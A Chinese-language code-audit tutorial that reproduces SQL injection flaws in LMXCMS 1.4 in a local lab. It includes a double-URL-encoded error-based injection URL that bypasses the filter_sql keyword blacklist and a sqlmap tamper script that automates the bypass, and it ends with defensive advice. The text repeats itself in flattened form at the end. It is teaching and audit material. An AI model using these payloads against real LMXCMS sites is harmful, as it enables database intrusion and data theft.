初学代码审计之lmxcms源代码审计
字数 1761 2025-08-20 18:17:53

LMXCMS 源代码审计与漏洞复现教学文档

一、环境搭建

1. 源码下载

  • 下载地址:http://www.lmxcms.com/down/
  • 建议下载最新版本进行测试

2. 开发环境配置

  • PHPStorm + Xdebug 调试环境
  • PHP 版本建议 5.x(与 LMXCMS 兼容)
  • MySQL 数据库

3. 安装步骤

  1. 将源码解压至 web 目录
  2. 访问 /install 目录进行安装
  3. 按照安装向导完成数据库配置
  4. 安装成功后访问首页验证

二、漏洞分析

1. 前台 TagsAction.class.php SQL 注入漏洞

漏洞位置

TagsAction.class.php 文件中的 __construct 方法

漏洞原理

  1. 通过 p(2,1,1) 获取 GET 参数
  2. 参数经过 string::delHtmlurldecode 处理
  3. 直接拼接 SQL 语句导致注入

关键代码分析

class TagsAction extends HomeAction{
    private $data;
    private $tagsModel = null;
    
    public function __construct() {
        parent::__construct();
        $data = p(2,1,1); // 获取GET参数
        $name = string::delHtml($data['name']);
        if(!$name) _404();
        $name = urldecode($name); // 第一次URL解码
        
        if($this->tagsModel == null) $this->tagsModel = new TagsModel();
        $this->data = $this->tagsModel->getNameData($name); // 直接使用name参数查询
        if(!$this->data) _404();
    }
}

过滤函数分析

function p($type=1,$pe=false,$sql=false,$mysql=false){
    if($type == 1){
        $data = $_POST;
    }else if($type == 2){
        $data = $_GET;
    }else{
        $data = $type;
    }
    
    if($sql) filter_sql($data); // 调用SQL过滤
    if($mysql) mysql_retain($data);
    
    foreach($data as $k => $v){
        if(is_array($v)){
            $newdata[$k] = p($v,$pe,$sql,$mysql);
        }else{
            if($pe){
                $newdata[$k] = string::addslashes($v);
            }else{
                $newdata[$k] = trim($v);
            }
        }
    }
    return $newdata;
}

// SQL过滤函数
function filter_sql(array $data){
    foreach($data as $v){
        if(is_array($v)){
            filter_sql($v);
        }else{
            $v = strtolower($v); // 转换为小写
            if(preg_match('/count|create|delete|select|update|use|drop|insert|info|from/',$v)){
                rewrite::js_back('【'.$v.'】数据非法');
            }
        }
    }
}

漏洞利用方式

  1. 由于 urldecodefilter_sql 之后执行,可以进行二次URL编码绕过
  2. 构造Payload:1' and updatexml(0,concat(0x7e,user()),1)#
  3. 进行两次URL编码后传入

漏洞复现步骤

  1. 访问URL:http://127.0.0.1/lmxcms1.4/index.php?m=Tags&name=%25%33%31%25%32%37%25%32%30%25%36%31%25%36%65%25%36%34%25%32%30%25%37%35%25%37%30%25%36%34%25%36%31%25%37%34%25%36%35%25%37%38%25%36%64%25%36%63%25%32%38%25%33%30%25%32%63%25%36%33%25%36%66%25%36%65%25%36%33%25%36%31%25%37%34%25%32%38%25%33%30%25%37%38%25%33%37%25%36%35%25%32%63%25%37%35%25%37%33%25%36%35%25%37%32%25%32%38%25%32%39%25%32%39%25%32%63%25%33%31%25%32%39%25%32%33
  2. 解码过程:
    • 第一次解码:%31%27%20%61%6e%64%20%75%70%64%61%74%65%78%6d%6c%28%30%2c%63%6f%6e%63%61%74%28%30%78%37%65%2c%75%73%65%72%28%29%29%2c%31%29%23
    • 第二次解码:1' and updatexml(0,concat(0x7e,user()),1)#

SQLMap Tamper 脚本

# sqlmap/tamper/urlencode.py
import urllib.parse
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOWEST

def dependencies():
    pass

def tamper(payload, **kwargs):
    """
    对payload进行URL编码的tamper函数。
    :param payload: 需要编码的原始payload字符串
    :param kwargs: 额外的关键字参数
    :return: URL编码后的payload字符串
    """
    if isinstance(payload, str):
        encoded_payload = urllib.parse.quote(payload)
        enencoded_payload = urllib.parse.quote(encoded_payload)
        return enencoded_payload
    return payload

2. 前台 SearchAction.class.php SQL 注入漏洞

漏洞位置

搜索功能相关代码

漏洞原理

  1. 搜索功能未对用户输入进行充分过滤
  2. 直接拼接SQL语句导致注入

漏洞复现

  1. 在首页搜索框中输入测试Payload
  2. 观察URL参数变化
  3. 构造恶意输入进行测试

三、调试技巧

使用 Xdebug + PHPStorm 调试

  1. 配置 Xdebug 扩展
  2. PHPStorm 设置调试配置
  3. 在关键函数处设置断点
  4. 使用 XDEBUG_SESSION_START 参数触发调试

示例调试URL:
http://127.0.0.1/lmxcms1.4/index.php?m=Tags&name=test?XDEBUG_SESSION_START=16408

四、防御建议

  1. 对所有用户输入进行严格的过滤和验证
  2. 使用参数化查询或预处理语句
  3. 避免直接拼接SQL语句
  4. 对关键函数进行安全审计
  5. 更新到最新版本,修复已知漏洞

五、总结

本文详细分析了 LMXCMS 中的两个SQL注入漏洞,重点介绍了:

  1. TagsAction.class.php 中的注入漏洞原理和利用方式
  2. 二次URL编码绕过过滤的技巧
  3. 使用SQLMap Tamper脚本自动化测试
  4. Xdebug调试方法
  5. 防御建议

通过本教程,读者可以掌握基本的代码审计方法和漏洞利用技巧,提高Web应用安全防护能力。

LMXCMS 源代码审计与漏洞复现教学文档 一、环境搭建 1. 源码下载 下载地址:http://www.lmxcms.com/down/ 建议下载最新版本进行测试 2. 开发环境配置 PHPStorm + Xdebug 调试环境 PHP 版本建议 5.x(与 LMXCMS 兼容) MySQL 数据库 3. 安装步骤 将源码解压至 web 目录 访问 /install 目录进行安装 按照安装向导完成数据库配置 安装成功后访问首页验证 二、漏洞分析 1. 前台 TagsAction.class.php SQL 注入漏洞 漏洞位置 TagsAction.class.php 文件中的 __construct 方法 漏洞原理 通过 p(2,1,1) 获取 GET 参数 参数经过 string::delHtml 和 urldecode 处理 直接拼接 SQL 语句导致注入 关键代码分析 过滤函数分析 漏洞利用方式 由于 urldecode 在 filter_sql 之后执行,可以进行二次URL编码绕过 构造Payload: 1' and updatexml(0,concat(0x7e,user()),1)# 进行两次URL编码后传入 漏洞复现步骤 访问URL: http://127.0.0.1/lmxcms1.4/index.php?m=Tags&name=%25%33%31%25%32%37%25%32%30%25%36%31%25%36%65%25%36%34%25%32%30%25%37%35%25%37%30%25%36%34%25%36%31%25%37%34%25%36%35%25%37%38%25%36%64%25%36%63%25%32%38%25%33%30%25%32%63%25%36%33%25%36%66%25%36%65%25%36%33%25%36%31%25%37%34%25%32%38%25%33%30%25%37%38%25%33%37%25%36%35%25%32%63%25%37%35%25%37%33%25%36%35%25%37%32%25%32%38%25%32%39%25%32%39%25%32%63%25%33%31%25%32%39%25%32%33 解码过程: 第一次解码: %31%27%20%61%6e%64%20%75%70%64%61%74%65%78%6d%6c%28%30%2c%63%6f%6e%63%61%74%28%30%78%37%65%2c%75%73%65%72%28%29%29%2c%31%29%23 第二次解码: 1' and updatexml(0,concat(0x7e,user()),1)# SQLMap Tamper 脚本 2. 前台 SearchAction.class.php SQL 注入漏洞 漏洞位置 搜索功能相关代码 漏洞原理 搜索功能未对用户输入进行充分过滤 直接拼接SQL语句导致注入 漏洞复现 在首页搜索框中输入测试Payload 观察URL参数变化 构造恶意输入进行测试 三、调试技巧 使用 Xdebug + PHPStorm 调试 配置 Xdebug 扩展 PHPStorm 设置调试配置 在关键函数处设置断点 使用 XDEBUG_SESSION_START 参数触发调试 示例调试URL: http://127.0.0.1/lmxcms1.4/index.php?m=Tags&name=test?XDEBUG_SESSION_START=16408 四、防御建议 对所有用户输入进行严格的过滤和验证 使用参数化查询或预处理语句 避免直接拼接SQL语句 对关键函数进行安全审计 更新到最新版本,修复已知漏洞 五、总结 本文详细分析了 LMXCMS 中的两个SQL注入漏洞,重点介绍了: TagsAction.class.php 中的注入漏洞原理和利用方式 二次URL编码绕过过滤的技巧 使用SQLMap Tamper脚本自动化测试 Xdebug调试方法 防御建议 通过本教程,读者可以掌握基本的代码审计方法和漏洞利用技巧,提高Web应用安全防护能力。